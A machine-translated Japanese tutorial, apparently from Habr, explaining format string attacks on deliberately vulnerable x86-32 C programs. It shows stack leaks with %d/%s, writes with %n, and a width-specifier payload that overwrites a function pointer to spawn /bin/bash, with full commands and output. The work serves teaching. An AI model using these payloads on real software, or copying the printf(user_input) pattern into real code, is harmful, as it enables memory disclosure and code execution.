Printf指向プログラミング





イントロ



驚いたことに、このトピックに関するHabréの記事は見つかりませんでした。この記事で状況を修正したいと思います。 その中で、私は攻撃者にFormat String Attacksについてできるだけ明確に伝えようとしますが、いくつかの単純化を図ります。 実際には、それらは非常に簡単に解決されますが、私はそれらに集中したくありません。 さらに、貴重な知識に加えて、最後までリーフィングする最も永続的なものは、わずかなボーナスを待っています。



なぜこれが必要なのでしょうか?



他の脆弱性と同様に、プログラムへの不正アクセスを取得し、プログラムで必要なことを行うには、フォーマット文字列攻撃が必要です。 この脆弱性の重要な特徴の1つは、 w ^ xASLRなどの追加のセキュリティ対策に対する無関心です。 そして最も重要なことは、比較的新しいCFI保護も回避することです。



始めましょうか?



例で何が起こっているのかを理解するのが常に最善であるように思えたので、不必要な言葉を使わずに、コードを理解してください。



#include <stdio.h> void f(char *str) { char *secret_data = "My Awesome Key"; printf(str); } int main(int argc, char **argv) { f(argv[1]); return 0; }
      
      





printfを忘れた人向け
printf()-関数のようなものは次のように機能します:



  • 文字列を印刷
  • %で始まる特殊文字を置き換えます
  • 正常に表示された文字数を返します




それについて何ができますか? コードを収集して実行しましょう。 以下、x86-32で作業します。



 $ cc -m32 format_vuln.c -o format_vuln $ ./format_vuln %d 47
      
      





47はどこから来たのだろうか? 「%d」を印刷するように依頼しました。 実際、この関数はCで記述されています。そこに演算子のオーバーロードがないため、引数の数はわかりません。したがって、行を解析し、各%がスタックから次の引数を取る最初の引数に焦点を合わせます。



47はどこから来たのですか?
実際には、パフォーマンスのために、スタック上の値はリセットされません。 メモリの割り当て/割り当て解除は、スタック上の対応するポインタを増減することで発生します。 47は、任意の数の副次的な計算です



少し遊んだら、大切な鍵を手に入れることができます。



 $ ./format_vuln %d.%d.%d.%d.%d.%d.%s 47.-145670960.-143695128.32768.-143929344.-143936984.My Awesome Key
      
      





なぜちょうど6%d?



objdumpを使用して、逆アセンブルされたfのリストを見てみましょう。



 080483fb <f>: 80483fb: 55 push ebp 80483fc: 89 e5 mov ebp,esp 80483fe: 83 ec 18 sub esp,0x18 8048401: c7 45 f4 d0 84 04 08 mov DWORD PTR [ebp-0xc],0x80484d0 8048408: 83 ec 0c sub esp,0xc 804840b: ff 75 08 push DWORD PTR [ebp+0x8] 804840e: e8 bd fe ff ff call 80482d0 <printf@plt> 8048413: 83 c4 10 add esp,0x10 8048416: 90 nop 8048417: c9 leave 8048418: c3 ret
      
      





アドレス0x80484d0にキーが保存され、アドレスebp-0xcのスタックに書き込まれます。 最初の引数はebp + 0x8です。



sub esp命令に従って、0x **スタック上の必要な場所が割り当てられます。 そして明らかに、多くの不必要なものが際立っています。 これはデータのアライメント(パディング)であり、パフォーマンスのためにコンパイラによって自動的に実行されます。



したがって、printfを呼び出す前にスタックを見ると、これらの6%dがどこから来たのかが明らかになります。







人気のない機能printf



潜在的なデータ漏洩に加えて、printfには他の興味深い機能もあります。





たとえば、次のコードがあるとします。



 #include <stdio.h> int main() { int i, j; printf("Hello%2$n, world!%1$n\n", &i, &j); printf("%d %*d", i, 3, j); return 0; }
      
      





次の結論が得られます。



 $ cc -m32 printfwrite.c -oprintfwrite $ ./printfwrite Hello, world! 13 5
      
      





この機能により、操作の新しい可能性が開かれます。 古いコードを少し変更して、それで何ができるか見てみましょう。



 #include <stdio.h> #include <stdlib.h> void f(char *str, int acc) { int *access = &acc; printf(str); if (*access) { puts("Secret information revealed!"); } } int main(int argc, char **argv) { char *usr = getenv("USER"); if(usr==NULL) return EXIT_FAILURE; f(argv[1], usr == "kitsu"); return 0; }
      
      





 $ cc -m32 printfacccess.c -m32 -o printfacccess $ ./printfacccess %d.%d.%d.%d.%d.%d.%n -4922064.2.4.-4922088.-143168832.-145108519.Secret information revealed!
      
      





しかし、書き込みが必要な数が非常に大きい場合はどうでしょうか? たとえば、関数のアドレス。 最初に頭に浮かぶのは、適切なサイズの文字列をフィードすることです。 シェルコードアドレスがあり、printfも制御できるとします。どうすればよいでしょうか。



 #include <stdio.h> #include <stdlib.h> typedef void(*fptr)(); void routine() { /* do something useful */ puts("Routine done."); } void shell() { execve("/bin/bash", 0, 0); } void f(char *str, fptr p) { fptr ptr = p; printf(str); ptr(); } int main(int argc, char **argv) { f(argv[1], routine); return 0; }
      
      





コンパイル後の対象のシェルアドレスは0x80484d4です。 任意の文字を何度も出力し、関数へのポインターを書き換えます。



 $ cc -m32 printfshell.c -oprintfshell $ ./printfshell `python -c 'print("0"*0x80484d4 + "%n")'` bash: ./printfshell: Argument list too long
      
      





悲しいかな、私はこの仕事にあまり満足していません。 ただし、既に述べた出力幅機能を使用して同様の効果を達成でき、その後、%nを使用して同じ方法で数量を書き込むことができます。



 $ ./printfshell `python -c 'print("%1$134513876.0X%7$n")'` >out $ echo "$$" $ exit exit $ echo "$$" 3899 $ tail -c 4 out 3920
      
      





ここで、奇跡が起こったことを詳しく見てみましょう。 ここでプログラムを起動し、そこから必要なシェルの新しいインスタンスを開始しました。



しかし、「%1 $ 134513876.0X%7 $ n」はどういう意味ですか?



2つの実行文字「%1 $ 134513876.0X」「%7 $ n」を表します。



%1 $ 134513876.0X-渡された最初の引数の標準出力への出力で、フィールド長は134513876です (これはシェルコードのアドレスです)。 そこに表示されるものは重要ではありません。主なことは文字数です。



%7 $ n-引数7に書き込みます。 印刷した文字数、つまり シェルコードアドレス。



結論として



お気づきかもしれませんが、printf()-関数のようなものは非常に強力です。 さらに、絶対的であることが判明したので、それらはチューリング完全であるため、ハッカーを満足させるすべてのものを潜在的に含めることができることを意味します。



どうやって? これは、たとえばここで再生できる十分に長く複雑なシーケンスによって実現されます 。 usenixのメンバーは、フォーマット文字列シーケンスでBrainfuckコードをコンパイルしました。 リポジトリには、フィボナッチ数、99本のビールなどの例があります。



All Articles